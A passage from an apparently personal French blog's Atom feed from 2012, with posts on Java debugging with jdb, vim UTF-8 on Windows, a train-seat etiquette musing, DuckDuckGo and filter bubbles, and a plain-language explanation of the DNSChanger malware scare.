&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// Attention, c&amp;#39;est sans doute mieux --i;&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;En quelques images;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;lancer &lt;em&gt;jdb&lt;/em&gt; et placer un &lt;em&gt;breakpoint&lt;/em&gt; au début de la méthode &lt;em&gt;main&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;à grands coups de &lt;em&gt;step / print&lt;/em&gt; j&amp;rsquo;exécute le code instruction par
    instruction en regardant le contenu de la variable &lt;code&gt;i&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="jdb-2.png" src="/images/jdb-2.png" title="jdb-2.png, mar. 2012"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="jdb-3.png" src="/images/jdb-3.png" title="jdb-3.png, mar. 2012"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="jdb-4.png" src="/images/jdb-4.png" title="jdb-4.png, mar. 2012"&gt;&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;utilisation d&amp;rsquo;un débugueur demandera un certain temps d&amp;rsquo;adaptation avant de pouvoir correctement tracer son programme.&lt;/p&gt;
&lt;p&gt;Enjoy !&lt;/p&gt;
&lt;h4&gt;Note d&amp;rsquo;orthographe&lt;/h4&gt;
&lt;p&gt;Certains utilisent le mot &lt;strong&gt;débogage&lt;/strong&gt; puisqu&amp;rsquo;ils recherchent des &lt;em&gt;bogues&lt;/em&gt; dans le programme… ce sont les plus proches de l&amp;rsquo;académie française.&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;autres utilise le mot &lt;strong&gt;débugage&lt;/strong&gt; car ils sont à la recherche de &lt;em&gt;bugs&lt;/em&gt; dans leur programme… ce sont les plus enclins à moins françiser les mots.&lt;/p&gt;
&lt;p&gt;… l&amp;rsquo;important c&amp;rsquo;est de pouvoir se comprendre ;-)&lt;/p&gt;
&lt;h4&gt;Sources / Liens&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://java.sun.com/developer/technicalArticles/JavaLP/assertions"&gt;Using Assertions in Java Technology&lt;/a&gt; (Oracle-exSun)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.deitel.com/articles/java_tutorials/20060106/Assertions.html"&gt;Tuto minimaliste au hasard du web&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Tuto &amp;lsquo;Java debugging&amp;rsquo; from Laura Bennett &lt;a href="http://www.digilife.be/quickreferences/PT/Java%20debugging.pdf"&gt;(pdf)&lt;/a&gt; (la partie traitant de Jikes est obsolète)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://netbeans.org/features/java/debugger.html"&gt;Howto Netbeans (debugger)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://docs.oracle.com/javase/6/docs/technotes/tools/solaris/jdb.html"&gt;Java debugger chez Oracle&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Crédit photo chez 500px par &lt;a href="http://500px.com/somasekharansandeep"&gt;Sandeep Somasekharan&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;À (re)lire aussi&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2011-07-11-jdk7.html"&gt;Java 7 is out, quel est son lot de nouveautés ?&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="2011-03-28-Utilisation-de-constantes-en-Java.html"&gt;Utilisation de constantes en Java&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2011-03-24-Math.random-versus-Random.html"&gt;Math.random versus Random&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;comprendre &lt;code&gt;System.out.println&lt;/code&gt; par exemple&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;À l&amp;rsquo;heure où j&amp;rsquo;écris on en est au &lt;a href="http://java.com/fr"&gt;JDK 7&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Vim, windows et UTF8</title><link href="http://blog.namok.be/2012-03-21-vim-windows-et-utf8.html" rel="alternate"/><published>2012-03-21T00:00:00+01:00</published><updated>2012-03-21T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-03-21:/2012-03-21-vim-windows-et-utf8.html</id><summary type="html">Vim, windows et UTF8</summary><content type="html">&lt;p&gt;Celles et ceux parmi vous qui utilisent Windows (tant pis) et qui veulent éditer des fichiers en UTF8 avec &lt;a href="http://vim.org"&gt;vim&lt;/a&gt; peuvent être embêtés de voir que les accents sont convertis (et donc illisibles). Il faut dire à &lt;em&gt;vim&lt;/em&gt; que le fichier est encodé en UTF8. &lt;/p&gt;
&lt;p&gt;Pour ce faire&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;télécharger le &lt;code&gt;script set_utf8.vim&lt;/code&gt; chez &lt;a href="http://vim.sourceforge.net/script/script.php?script_id=789"&gt;sourceforge&lt;/a&gt; et le placer dans le répertoire &lt;code&gt;$HOME/vimfiles/scripts/&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ajouter dans son &lt;em&gt;vimrc&lt;/em&gt;&lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; la ligne&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;runtime scripts/set_utf8.&lt;span class="k"&gt;vim&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Remarque&lt;/em&gt; Un moyen simple de savoir quel est son répertoire &lt;em&gt;home&lt;/em&gt; sous MS Windows ou, du moins, où &lt;em&gt;vim&lt;/em&gt; va aller chercher… et de le demander à &lt;em&gt;vim&lt;/em&gt;. Un petit &lt;code&gt;:echo $HOME&lt;/code&gt; devrait faire l&amp;rsquo;affaire^&lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;h4&gt;À lire aussi&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2007-03-23-vim7-tabs.html"&gt;Vim7 tabs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2007-05-16-vim-et-sa-statusbar.html"&gt;Vim, sa statusbar et les noms de fichier&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2011-11-24-vrac-7.html"&gt;Vrac #7&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Pour rappel, c&amp;rsquo;est le fichier de conf de vim qui se trouve, sous MS Windows, dans &lt;code&gt;\$HOME/\_vimrc&lt;/code&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;À l&amp;rsquo;école ce n&amp;rsquo;est pas &lt;code&gt;C:\Documents and Settings\jleblanc&lt;/code&gt; mais bien
&lt;code&gt;Z:&lt;/code&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Ça Gratte Ma Puce dot be</title><link href="http://blog.namok.be/2012-03-09-Ca-Gratte-Ma-Puce-dot-be.html" rel="alternate"/><published>2012-03-09T00:00:00+01:00</published><updated>2012-03-09T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-03-09:/2012-03-09-Ca-Gratte-Ma-Puce-dot-be.html</id><summary type="html">Un nom de domaine pour le site de Ça Gratte Ma Puce</summary><content type="html">&lt;p&gt;Ça Gratte Ma Puce se fend d&amp;rsquo;un nom de domaine (&lt;strong&gt;&lt;a href="http://cagrattemapuce.be"&gt;http://cagrattemapuce.be&lt;/a&gt;&lt;/strong&gt;) et d&amp;rsquo;une mise à jour du site… &lt;em&gt;ouais, c&amp;rsquo;est le buzz du jour&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-cagratte.png" src="/images/screenshot-cagratte.png" title="screenshot-cagratte.png, mar. 2012"&gt;&lt;/p&gt;</content></entry><entry><title>Asseyez-vous Madame</title><link href="http://blog.namok.be/2012-03-06-asseyez-vous-madame.html" rel="alternate"/><published>2012-03-06T00:00:00+01:00</published><updated>2012-03-06T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-03-06:/2012-03-06-asseyez-vous-madame.html</id><summary type="html">Et si la galanterie était morte.</summary><content type="html">&lt;p&gt;Ce matin, une dame, la cinquantaine bien tapée, monte dans le train et ne trouve pas de place où s’assoir. Je n&amp;rsquo;ai pas dit&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Je vous en prie Madame, prenez ma place.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ai-je été mal élevé (mes parents ne me lisent pas, donc c&amp;rsquo;est pas grave) ?&lt;br&gt;
La bienséance et/ou la galanterie auraient-elles dû me faire faire cette proposition ?&lt;/p&gt;
&lt;p&gt;&lt;img alt="Personne-agee.jpg" src="/images/Personne-agee.jpg" title="Personne-agee.jpg, mar. 2012" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Oui mais…&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Mettons tout de suite de côté le fait qu&amp;rsquo;il s&amp;rsquo;agisse d&amp;rsquo;une &lt;strong&gt;femme&lt;/strong&gt;. Je suis pour l&amp;rsquo;égalité de la femme; même salaire, même accès au travail… et mêmes places dans le train.&lt;/p&gt;
&lt;p&gt;Je deviens tout doucement contre la &lt;strong&gt;galanterie&lt;/strong&gt;. Si l&amp;rsquo;on est galant, on est qualifié de macho cherchant à draguer la ~~gonzesse~~ dame. Si l&amp;rsquo;on n&amp;rsquo;est pas galant, on est un rustre ! Conclusion… la galanterie, c&amp;rsquo;est mort… ce qui n&amp;rsquo;empêche pas d&amp;rsquo;être humain et courtois. &lt;/p&gt;
&lt;p&gt;Cette personne est donc, à partir de maintenant, &lt;strong&gt;asexuée&lt;/strong&gt;… et retournons dans le train…&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Une dame a (finalement) proposé sa place (sans trop me regarder d&amp;rsquo;un drôle d&amp;rsquo;air) et… la «vieille» a refusé.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cette personne peut-elle être qualifiée de « personne âgée » ? Elle n&amp;rsquo;est, sans doute, pas si âgée car elle va travailler (sinon, elle ne ~~prendrait~~ devrait pas prendre un train de pointe). À quel âge devient-on une « personne âgée » ?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Je n&amp;rsquo;ai aucune pitié pour les gens qui n&amp;rsquo;ont pas de place assise lorsque le trajet est court… s&amp;rsquo;ils habitaient plus loin, ils pourraient s’assoir. Lorsque je suis monté dans le train, le compartiment était vide.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bref, je n&amp;rsquo;ai pas cédé ma place et tant pis !&lt;/p&gt;</content></entry><entry><title>Coin coin, on y va.</title><link href="http://blog.namok.be/2012-02-27-coin-coin-on-y-va.html" rel="alternate"/><published>2012-02-27T00:00:00+01:00</published><updated>2012-02-27T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-02-27:/2012-02-27-coin-coin-on-y-va.html</id><summary type="html">Un moteur de recherche alternatif : duckduckgo</summary><content type="html">&lt;p&gt;Il y a quelque temps, en lisant &lt;a href="http://ploum.net/post/google-moins"&gt;un post de ploum&lt;/a&gt;, je découvrais (encore) un autre moteur de recherche. Il s&amp;rsquo;agit de
&lt;strong&gt;&lt;a href="http://duckduckgo.com"&gt;duckduckgo&lt;/a&gt;&lt;/strong&gt; (et l&amp;rsquo;on comprend le jeu de mots foireux dans le titre) que je citais dans mon &lt;a href="2012-02-07-vrac-8.html"&gt;vrac #8&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;avais également réagi à une remarque d&amp;rsquo;un étudiant me signalant que (pour comprendre la suite, il faut savoir que la plateforme de &lt;em&gt;elearning&lt;/em&gt; de l&amp;rsquo;ÉSI, s&amp;rsquo;appelle &lt;strong&gt;poÉSI&lt;/strong&gt; et se trouve à l&amp;rsquo;adresse &lt;a href="http://elearning.esi.heb.be"&gt;http://elearning.esi.heb.be&lt;/a&gt;… adresse que peu d&amp;rsquo;étudiants retiennent)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;« Avant Google marquait poÉSI comme étant une faute d&amp;rsquo;orthographe… et maintenant plus ! J&amp;rsquo;accède directement à la plateforme, c&amp;rsquo;est le premier résultat »&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Depuis lors, je teste &lt;em&gt;duckduckgo&lt;/em&gt;. C&amp;rsquo;est assez étrange et surprenant car je n&amp;rsquo;obtiens pas les même résultats qu&amp;rsquo;avec &lt;a href="http://google.com"&gt;Google&lt;/a&gt;…
Comme dirait notre bon &lt;em&gt;nfs&lt;/em&gt; (je floute le nom)&lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;C&amp;rsquo;est un changement de paradigme.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Alors pourquoi les résultats sont-ils différents ? Pourquoi «mon expérience utilisateur» parrait-elle moins bonne ? Pourquoi une recherche faite par Alice ne donne pas les même résultats qu&amp;rsquo;une recherche faites par Bob ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Dans un premier temps, je me dis qu&amp;rsquo;un résultat de recherche dépend de la &lt;em&gt;géolocalisation&lt;/em&gt; du chercheur. Cette géolocalisation dépend (amha et je ne peux pas faire de tests et ça dépend sans doute du moteur de recherche utilisé) de&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;l&amp;rsquo;extension que je choisi (sans doute en moindre mesure)&lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;;&lt;/li&gt;
&lt;li&gt;de l&amp;rsquo;IP que m&amp;rsquo;a attribué mon &lt;em&gt;isp&lt;/em&gt; (j&amp;rsquo;ai une IP belge, Google estime donc que je suis en Belgique);&lt;/li&gt;
&lt;li&gt;du fait que je sois connecté à mon compte Google ou pas;&lt;/li&gt;
&lt;li&gt;du choix que j&amp;rsquo;ai éventuellement pu faire dans les &lt;em&gt;settings&lt;/em&gt; du moteur de recherche;&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Si je lis l&amp;rsquo;&lt;a href="http://dontbubble.us"&gt;info donnée par &amp;lsquo;&amp;rsquo;duckduckgo&amp;rsquo;&amp;lsquo;&lt;/a&gt; concernant « &lt;em&gt;The filter bublle&lt;/em&gt; » je retiens&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;search engines now show different results to different people&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;results are tailored to who you are&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;based on your search history&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;and your click history&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Il faudrait peut-être lire &lt;a href="http://www.amazon.com/Filter-Bubble-What-Internet-Hiding/dp/1594203008"&gt;The filter bubble&lt;/a&gt; afin de mieux cerner les effets de la &lt;strong&gt;personnalisation&lt;/strong&gt; faites par des sites comme Google, amazon… Je cite&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;In December 2009, Google began customizing its search results for each user. Instead of giving you the most broadly popular result, Google now tries to predict what you are most likely to click on&lt;/em&gt; &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Q - What is a &amp;ldquo;Filter Bubble&amp;rdquo;?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;A - We&amp;rsquo;re used to thinking of the Internet like an enormous library, with services like Google providing a universal map. But that&amp;rsquo;s no longer really the case. Sites from Google and Facebook to Yahoo News and the New York Times are now increasingly personalized &amp;ndash; based on your web history, they filter information to show you the stuff they think you want to see. That can be very different from what everyone else sees &amp;ndash; or from what we need to see.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Your filter bubble is this unique, personal universe of information created just for you by this array of personalizing filters. It&amp;rsquo;s invisible and it&amp;rsquo;s becoming more and more difficult to escape.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Extraits de &lt;a href="http://www.amazon.com/Filter-Bubble-What-Internet-Hiding/dp/1594203008"&gt;The filter bubble&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Google (&lt;em&gt;and co&lt;/em&gt;) veut nous offrir une &lt;strong&gt;personnalisation&lt;/strong&gt; des résultats. Ces sites veulent nous offrir une meilleure « expérience utilisateur »&lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;. Ils veulent nous donner l&amp;rsquo;information que nous voulons voir… ou du moins ce qu&amp;rsquo;ils pensent que nous voulons voir sur base de critères parfois pertinents, parfois pas.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Google tracks hundreds of &amp;ldquo;signals&amp;rdquo; about each o us &amp;ndash; what kind of computer we&amp;rsquo;re on, what we&amp;rsquo;ve searched for in the past, even how long it takes us to decide what to click on &amp;ndash; and uses it to customize our results. When the result is that our favorite pizza parlor shows up first when we Google pizza, it&amp;rsquo;s useful. But when the result is that we only see the information that is aligned with our religious or social or political beliefs, it&amp;rsquo;s difficult to maintain perspective.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Even if you&amp;rsquo;re not logged into Google, for example, an engineer told me there are 57 signals that the site uses to figure out who you are: whether you&amp;rsquo;re on a Mac or PC or iPad, where you&amp;rsquo;re located when you&amp;rsquo;re Googling, etc. And in the near future, it&amp;rsquo;ll be possible to &amp;ldquo;fingerprint&amp;rdquo; unique devices, so that sites can tell which individual computer you&amp;rsquo;re using. That&amp;rsquo;s why erasing your browser cookies is at best a partial solution&amp;mdash;it only partially limits the information available to personalizers.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Extrait (toujours) de &lt;a href="http://www.amazon.com/Filter-Bubble-What-Internet-Hiding/dp/1594203008"&gt;The filter bubble&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;S&amp;rsquo;il est louable que je veuille rapidement trouver le &lt;a href="https://duckduckgo.com/?q=pizzeria+ath+le+florentin"&gt;numéro de téléphone de ma pizzeria préférée&lt;/a&gt; ça n&amp;rsquo;est pas évident que je ne veuille lire de l&amp;rsquo;info qu&amp;rsquo;en accord avec mes « habitudes » religieuses, sexuelles, politiques…&lt;/p&gt;
&lt;p&gt;Google nous rend beaucoup de services, ses services sont généralement « bien foutus ». Je pense cependant que pour une même recherche Alice et Bob doivent obtenir les mêmes résultats. La vocation première d&amp;rsquo;un &lt;strong&gt;moteur de recherche&lt;/strong&gt; est de fournir les pages se rapportant le mieux aux mots clés entrés… et ceci quelles que puissent être les recherches faites précédemment.&lt;/p&gt;
&lt;p&gt;Je suis par contre tout à fait d&amp;rsquo;accord que mon magasin préféré (en ligne ou pas) me proposent des produits en fonction de mes habitudes d&amp;rsquo;achat. Qu&amp;rsquo;un site de vente (tel qu&amp;rsquo;&lt;a href="http://amazon.fr"&gt;Amazon&lt;/a&gt; par exemple) me profile peut même m&amp;rsquo;être bénéfique (du moment qu&amp;rsquo;il me prévienne).&lt;/p&gt;
&lt;p&gt;Bref, je veux bien (et de toute façon je n&amp;rsquo;ai guère le choix) être &lt;strong&gt;profilé&lt;/strong&gt; commercialement mais je ne veux pas qu&amp;rsquo;un moteur de recherche &lt;strong&gt;personnalise&lt;/strong&gt; les résultats qu&amp;rsquo;il me fournit.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="http://duckduckgo.com"&gt;Coin coin et on y va !&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;(&lt;em&gt;Pour ceux qui veulent une url plus courte, il existe &lt;a href="http://ddg.gg"&gt;http://ddg.gg&lt;/a&gt;&lt;/em&gt;)&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;J&amp;rsquo;avais envie de dire « encore un autre moteur de recherche » bien que depuis quelques années, c&amp;rsquo;est &lt;a href="http://google.com"&gt;Google&lt;/a&gt; qui raffle la mise. Les plus âgés se rappellent le temps où l&amp;rsquo;on utilisait des &lt;em&gt;métamoteurs&lt;/em&gt; tels que &lt;a href="http://altavista.com"&gt;Altavista&lt;/a&gt; (si je me rappelle bien) pour obtenir une information pertinente… ce temps est révolu.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Étrange si je suis connecté à mon compte Google, google.be et google.com sont différents. Si je ne suis pas connecté, google.com me redirige vers google.be !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;J&amp;rsquo;abuse de l&amp;rsquo;expression, je sais mais c&amp;rsquo;est à la mode… et ça me fait rire&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Plus d'internet en Belgique à partir du 7 mars 2012</title><link href="http://blog.namok.be/2012-02-14-plus-d-internet-en-Belgique-a-partir-du-7-mars.html" rel="alternate"/><published>2012-02-14T00:00:00+01:00</published><updated>2012-02-14T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-02-14:/2012-02-14-plus-d-internet-en-Belgique-a-partir-du-7-mars.html</id><summary type="html">Plus d'internet en Belgique à partir du 7 mars 2012</summary><content type="html">&lt;p&gt;Je reprend exactement le titre de l&amp;rsquo;info qui circule depuis deux jours… et comme à chaque fois c&amp;rsquo;est le genre de titre accrocheur que j&amp;rsquo;abhorre. Et donc puisque &lt;strong&gt;internet explose le 7 mars&lt;/strong&gt;, il faut prendre les choses en main !&lt;/p&gt;
&lt;p&gt;Parmi les utilisateurs, il y en a de deux types ceux qui savent et veulent bien lire… et les autres. Je m&amp;rsquo;adresse aux premiers, les autres &lt;em&gt;we don&amp;rsquo;t care&lt;/em&gt; ;-)&lt;/p&gt;
&lt;p&gt;En essayant de ne pas être trop technique, le virus &lt;em&gt;DNSChanger&lt;/em&gt; change la valeur du serveur DNS utilisé pour la résolution de nom. S&amp;rsquo;il y a un problème le mercredi 7 mars 2012 (personne ne dit que c&amp;rsquo;est un mercredi), il faudra &lt;strong&gt;changer cette valeur&lt;/strong&gt;. (&lt;a href="http://windows.microsoft.com/en-US/windows-vista/Change-TCP-IP-settings"&gt;Comment changer la valeur de mon DNS
?&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Un &lt;strong&gt;serveur DNS&lt;/strong&gt; est une machine responsable de la résolution de nom sur internet. C&amp;rsquo;est ce genre de machine qui convertit un nom (&lt;code&gt;example.com&lt;/code&gt;) en une adresse IP (&lt;code&gt;192.168.1.1&lt;/code&gt;). Lire &lt;a href="http://fr.wikipedia.org/wiki/Serveur_DNS"&gt;Wikipédia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Le &lt;a href="http://cert.be"&gt;CERT&lt;/a&gt; &lt;strong&gt;&lt;a href="http://www.dns-ok.be/dnschanger_fr.html"&gt;explique très bien le problème&lt;/a&gt;&lt;/strong&gt; via le site &lt;a href="http://dns-ok.be"&gt;dns-ok.be&lt;/a&gt;. L&amp;rsquo;équipe informe du problème et explique comment ils testent l&amp;rsquo;état de la
machine.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Votre ordinateur recherche le site web via ce qu&amp;rsquo;on appelle un
&amp;ldquo;serveur DNS&amp;rdquo;. Le serveur DNS va indiquer à votre ordinateur que
www.google.be correspond à une &amp;ldquo;adresse IP&amp;rdquo; déterminée (comme expliqué
dans le schéma ci-dessous 173.194.67.94).&lt;/p&gt;
&lt;p&gt;Vous pouvez comparer cela avec la recherche d&amp;rsquo;une personne dans un
annuaire téléphonique : vous cherchez le nom et vous recevez le numéro
de téléphone du correspondant que vous pouvez donc appeler.&lt;/p&gt;
&lt;p&gt;Extrait de l&amp;rsquo;article du
&lt;a href="http://www.dns-ok.be/dnschanger_fr.html"&gt;CERT&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Bref, pas trop d&amp;rsquo;inquiétudes à avoir… et, petite piqure de rappel, si vous utilisez MS Windows, pensez à avoir un antivirus &lt;strong&gt;et&lt;/strong&gt; à ne pas faire n&amp;rsquo;importe quoi; ouvrir n&amp;rsquo;importe quel mail, n&amp;rsquo;importe quel attachement, lire tous les ppt bidons qui passent…&lt;/p&gt;
&lt;h3&gt;Sources&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.rtl.be/info/belgique/societe/856299/plus-d-internet-en-belgique-a-partir-du-7-mars-"&gt;rtl.be - Plus d&amp;rsquo;internet en Belgique à partir du 7
    mars&lt;/a&gt; &lt;em&gt;(lien mort)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://geeko.lesoir.be/2012/02/13/pourrez-vous-encore-surfer-sur-internet-apres-le-7-mars/"&gt;Le soir - Pourrez-vous encore surfer sur internet après le 7 mars
    ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://fr.wikipedia.org/wiki/Serveur_DNS"&gt;Wikipédia - Serveur DNS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.dns-ok.be/dnschanger_fr.html"&gt;CERT - dns-ok&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Édité le 8 mars 2012&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Rectification de la part d FBI et du &lt;a alt="CERT" href="http://cert.be"&gt;CERT&lt;/a&gt;, les serveurs mis en place par le FBI le resteront jusqu&amp;rsquo;au &lt;strong&gt;9 juillet 2012&lt;/strong&gt;&lt;/p&gt;</content></entry><entry><title>Vrac #8</title><link href="http://blog.namok.be/2012-02-07-vrac-8.html" rel="alternate"/><published>2012-02-08T00:00:00+01:00</published><updated>2012-02-08T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-02-08:/2012-02-07-vrac-8.html</id><summary type="html">Un peu de moteur de recherche, de Facebook et de trucs inutiles…</summary><content type="html">&lt;p&gt;Tout le monde utilise &lt;a href="http://google.com"&gt;Google&lt;/a&gt; comme moteur de
recherche. Si vous voulez vous en défaire un peu et que vous n&amp;rsquo;imaginez
